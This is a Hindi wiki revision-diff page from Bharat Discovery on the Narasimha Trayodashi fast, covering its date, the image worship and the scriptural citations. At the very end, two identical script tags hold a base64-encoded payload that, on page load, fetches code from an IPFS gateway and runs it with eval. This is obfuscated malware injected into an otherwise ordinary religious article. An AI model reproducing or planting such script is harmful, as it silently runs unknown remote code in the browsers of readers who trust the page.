"नरसिंह त्रयोदशी": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
छो (नरसिंहत्रयोदशी का नाम बदलकर नरसिंह त्रयोदशी कर दिया गया है) |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - ")</ref" to "</ref") |
||
(2 सदस्यों द्वारा किए गए बीच के 3 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*[[फाल्गुन]] [[कृष्ण पक्ष]] की द्वादशी को यह व्रत आरम्भ होता है। | *[[फाल्गुन]] [[कृष्ण पक्ष]] की द्वादशी को यह व्रत आरम्भ होता है। | ||
*उस दिन उपवास एवं नरसिंह प्रतिमा की पूजा की जाती है। | *उस दिन उपवास एवं नरसिंह प्रतिमा की पूजा की जाती है। | ||
*श्वेत वस्त्र से आच्छादित एक घट प्रतिष्ठापित किया जाता है और पर एक स्वर्णिम या काष्ठ की या बाँस की प्रतिमा रखी जाती है। | *श्वेत वस्त्र से आच्छादित एक घट प्रतिष्ठापित किया जाता है और पर एक स्वर्णिम या काष्ठ की या बाँस की प्रतिमा रखी जाती है। | ||
*उस दिन किसी [[ब्राह्मण]] को वह प्रतिमा दे दी जाती है।<ref>हेमाद्रि (व्रतखण्ड 1, 1029-30, [[वराह पुराण]] 42|1-7 एवं 13-16 का उद्धरण है)।</ref> | *उस दिन किसी [[ब्राह्मण]] को वह प्रतिमा दे दी जाती है।<ref>हेमाद्रि (व्रतखण्ड 1, 1029-30, [[वराह पुराण]] 42|1-7 एवं 13-16 का उद्धरण है)।</ref> | ||
*प्रकाशित वराहपुराण में ऐसी व्यवस्था है कि व्रत शुक्ल पक्ष में किया जाए, किन्तु हेमाद्रि<ref>हेमाद्रि (व्रतखण्ड1, 1029 | *प्रकाशित वराहपुराण में ऐसी व्यवस्था है कि व्रत शुक्ल पक्ष में किया जाए, किन्तु हेमाद्रि<ref>हेमाद्रि (व्रतखण्ड1, 1029</ref> में कृष्ण पक्ष का उल्लेख है। | ||
{{ | {{संदर्भ ग्रंथ}} | ||
}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
12:35, 27 जुलाई 2011 के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- फाल्गुन कृष्ण पक्ष की द्वादशी को यह व्रत आरम्भ होता है।
- उस दिन उपवास एवं नरसिंह प्रतिमा की पूजा की जाती है।
- श्वेत वस्त्र से आच्छादित एक घट प्रतिष्ठापित किया जाता है और पर एक स्वर्णिम या काष्ठ की या बाँस की प्रतिमा रखी जाती है।
- उस दिन किसी ब्राह्मण को वह प्रतिमा दे दी जाती है।[1]
- प्रकाशित वराहपुराण में ऐसी व्यवस्था है कि व्रत शुक्ल पक्ष में किया जाए, किन्तु हेमाद्रि[2] में कृष्ण पक्ष का उल्लेख है।
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 1, 1029-30, वराह पुराण 42|1-7 एवं 13-16 का उद्धरण है)।
- ↑ हेमाद्रि (व्रतखण्ड1, 1029
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>